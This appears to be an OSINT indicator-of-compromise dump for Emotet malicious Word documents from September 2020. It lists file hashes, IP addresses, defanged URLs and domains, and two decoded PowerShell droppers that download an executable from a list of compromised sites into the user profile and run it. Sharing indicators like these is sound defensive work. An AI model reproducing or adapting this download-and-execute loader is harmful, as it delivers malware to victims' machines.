Emotet_Doc_out_2020-09-24_22_54.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
4c01a100f2196b2ac8a43d41f1c9beb894ae460d87f37b2c884850fe5854bf4a
da886aa9c4cf9af28406c6c6b2bd1a84fdca0dd1861259185aba9da512264acf
ab018f08c79d8a8f4335f9fa35e22f6d573ddcf82c5a1db98a8ceb6671bae1b6
a173c80617eccbb5abd724c6c42da5355329ffc94e544185e1401d97c9146964
741df6ea7d9eff7ced2d6f50bfd469119965326edce722df9f15fc59b97afba3
241da35fc47abf50c83032be9bdb0df27d81d7d1920055a76b7a84aedeb8a30d
910452e8c07c66c557c01772883f75fa0890c0e41b8d55b1107360949ccefc71
418535f82699ce0df10d39ac2798fcce30da6070fb7b9b0f28562d1146f49e69


IPs:
104.27.170.56
104.27.171.56
104.28.21.189
104.28.26.13
104.28.27.13
107.180.43.18
116.202.49.153
162.241.148.206
166.62.28.114
172.67.128.206
172.67.151.83
172.67.211.35
192.185.94.102
195.201.163.40
198.211.112.209
205.144.171.138
23.229.220.67
71.185.193.253
91.121.71.156



URLs:
hxxp://h2a1.com/uf8vu/U/
hxxp://www.almakaaseb.com/wp-includes/P/
hxxp://theitnconsultant.com/wp-includes/t/
hxxp://carstarai.com/icon/D/
hxxp://bug.chihuahuamediaprojects.com/wp-includes/u/
hxxps://aecc.dev.caveim.net/wp-admin/dZ/
hxxp://phimsex.2xxhub.com/wp-content/esp/5ur8drbma/6qH/
hxxp://www.firhajshoes.com/wp-admin/RgaiT/
hxxp://fakeread.com/OneSignal-Web-SDK-HTTPS-Integration-Files/Wf/
hxxp://www.rttutoring.com/wp-includes/LlbY6o/
hxxp://blueskysol.com/sys-cache/2Rk/
hxxp://crazyboxs.com/cgi-bin/IaJ/
hxxp://www.paramedicaleducationguidelines.com/wp-admin/3jXU5Bp/
hxxp://nuhatoys.com/wp-admin/WWA4R/


Domains:
h2a1.com
www.almakaaseb.com
theitnconsultant.com
carstarai.com
bug.chihuahuamediaprojects.com
aecc.dev.caveim.net
phimsex.2xxhub.com
www.firhajshoes.com
fakeread.com
www.rttutoring.com
blueskysol.com
crazyboxs.com
www.paramedicaleducationguidelines.com
nuhatoys.com


Decoded Base64 Powershell:
<���^,$E5e8mp8=Qvr9gqg;
&new-item $ENV:UsERProfiLE\EXyas68\X_XE08_\ -itemtype dIreCtOrY;
[Net.ServicePointManager]::"sEcU`R`iTY`ProT`oCol" = tls12, tls11, tls;
$Yb4x084 = Qicxrezc;
$Kdtinxb=Aqf3843;
$Ywm_t6r=$env:userprofile{0}Exyas68{0}X_xe08_{0}-f  [chAR]92$Yb4x084.exe;
$Mo8n_4q=Bs26mlb;
$Yl_cszo=.new-object NeT.webCLIent;
$Aegp_0c=hxxp://h2a1.com/uf8vu/U/
hxxp://www.almakaaseb.com/wp-includes/P/
hxxp://theitnconsultant.com/wp-includes/t/
hxxp://carstarai.com/icon/D/
hxxp://bug.chihuahuamediaprojects.com/wp-includes/u/
hxxps://aecc.dev.caveim.net/wp-admin/dZ/
hxxp://phimsex.2xxhub.com/wp-content/esp/5ur8drbma/6qH/."sP`lIt"[char]42;
$Bh0lo9j=L6f_a41;
foreach$Mpoikef in $Aegp_0c{try{$Yl_cszo."dOWn`Lo`A`DFiLE"$Mpoikef, $Ywm_t6r;
$I9a2311=Qzg78h1;
If .Get-Item $Ywm_t6r."LeN`gth" -ge 33997 {.Invoke-Item$Ywm_t6r;
$A116qlt=Z9exr4j;
break;
$Htpllnm=Jzz3nbi}}catch{}}$Luacav6=Mw43w0f<���^,$Ehef59i=Zs50d5b;
&new-item $Env:UserpROfIle\I2byDoI\ejo26QD\ -itemtype DIRECtory;
[Net.ServicePointManager]::"S`e`cUri`TyProtOcol" = tls12, tls11, tls;
$F3ysqov = P_lulvp1;
$Mlop803=Fnjkp8o;
$Dglrx5x=$env:userprofile{0}I2bydoi{0}Ejo26qd{0}  -f[CHar]92$F3ysqov.exe;
$Ezwvj1m=We7etev;
$Up2imep=&new-object Net.wEbCLient;
$Swkc22m=hxxp://www.firhajshoes.com/wp-admin/RgaiT/
hxxp://fakeread.com/OneSignal-Web-SDK-HTTPS-Integration-Files/Wf/
hxxp://www.rttutoring.com/wp-includes/LlbY6o/
hxxp://blueskysol.com/sys-cache/2Rk/
hxxp://crazyboxs.com/cgi-bin/IaJ/
hxxp://www.paramedicaleducationguidelines.com/wp-admin/3jXU5Bp/
hxxp://nuhatoys.com/wp-admin/WWA4R/."sPl`IT"[char]42;
$Khmx6rc=Bk7r4jh;
foreach$Ygzxknj in $Swkc22m{try{$Up2imep."DOW`NlO`ADf`iLe"$Ygzxknj, $Dglrx5x;
$Ycf84fz=Zgu3dyf;
If &Get-Item $Dglrx5x."l`enGtH" -ge 21773 {.Invoke-Item$Dglrx5x;
$L7hv3yz=Ct_66pw;
break;
$Uhr0y_j=Oxy8kpo}}catch{}}$Uzmn_sg=Mk1xz8e